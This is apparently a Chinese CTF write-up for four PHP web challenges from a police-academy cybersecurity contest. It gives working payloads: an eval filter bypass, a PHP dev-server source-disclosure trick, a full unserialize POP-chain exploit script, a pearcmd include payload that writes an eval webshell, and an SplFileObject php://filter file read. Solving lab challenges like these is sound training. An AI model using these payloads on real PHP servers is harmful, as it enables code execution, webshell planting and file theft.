黄河流域公安院校网络空间安全技能挑战赛WP

WP原文:https://rb61qxxiv7.feishu.cn/docs/doccnFcZA8xHDlJNUFQs4QEXqvg#

就做出来了一个ezphp,而且还是靠google原题嗯抄的,学习之路真是任重而道远。

9956ef16896bd6c730cea9b401218c2.png

WEB

babyPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);

$num = $_GET['num'];

if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) {
die("nononno");
}

if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) {
system('cat flag.php');
} else {
echo '2';
}

题目主要考察的是php的运算符的比较级。
payload:?num=1|2
flag在源代码里面。
image.png

funnyPHP

上来给出的地址是:/hint.php,页面下为phpinfo()参数页面:
image.png
访问根目录/出现以下情况:
image.png
这里为 PHP Development Server 启动的服务。然后就出现了本题的考点:

PHP<=7.4.21 Development Server源码泄露漏洞

https://cn-sec.com/archives/1530845.html
https://blog.projectdiscovery.io/php-http-server-source-disclosure/

我最开始在bp中手动输入那个\r\n但是发现不行,经过尝试才知道需要先关闭Updates COntentLength并且打开hide non—printable chars,这两个分别在以下位置:
image.png

image.png
分别打开之后,按照以下格式发送即可。
image.png
之后就能够获得到puzzle.php的内容。其中考察的是php的反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);

class A{
public $sdpc = ["welcome" => "yeah, something hidden."];

function __call($name, $arguments)
{
$this->$name[$name]();
}

}


class B{
public $a;

function __construct()
{
$this->a = new A();
}

function __toString()
{
echo $this->a->sdpc["welcome"]; //对大家表示欢迎
}

}

class C{
public $b;
protected $c;

function __construct(){
$this->c = new B();
}

function __destruct(){
$this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家
}
}

class Evil{
function getflag() {
echo file_get_contents('/fl4g');
}
}


if(isset($_POST['sdpc'])) {
unserialize($_POST['sdpc']);
} else {
serialize(new C());
}
?>

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
error_reporting(0);

class A
{
public $sdpc;

function __construct() {
$this->sdpc = array("sdpc" => array(new Evil(),'getflag'));
}

function __call($name, $arguments)
{

$name[$arguments]();
}
}


class B
{
public $a;

function __construct()
{
$this->a = new A();
}

function __toString()
{
echo $this->a->sdpc["welcome"]; //对大家表示欢迎
}
}

class C
{
public $b;
protected $c;

function __construct()
{
$this->c = new A();
}

function __destruct()
{
$this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //设置 b ,触发 ___call
}
}

class Evil
{
function getflag()
{
echo '1';
file_get_contents('/fl4g');
}
}

$ca = new A();
$cb = new B();
$cc = new C();

$cc->b = 'sp4c1ous';


echo urlencode(serialize($cc));

用post传入:
image.png

ezinclude

https://blog.csdn.net/RABCDXB/article/details/122050370

pearcmd的利用,但是并不会。先把官方wp粘在这里吧。

1
?+config-create+/&sdpc=/usr/local/lib/php/pearcmd.php&/<?eval($_POST[0]);?>+/tmp/hello.php

output.png

ezphp

https://www.anquanke.com/post/id/284901

就做出来了这一个,还是抄的。。。
image.png

1
2
3
4
5
6
<?php
error_reporting(0);
highlight_file(__FILE__);
$g = $_GET['g'];
$t = $_GET['t'];
echo new $g($t);

根据图片,直接传入payload:

1
?g=SplFileObject&t=php://filter/convert.base64-encode/resource=flag.php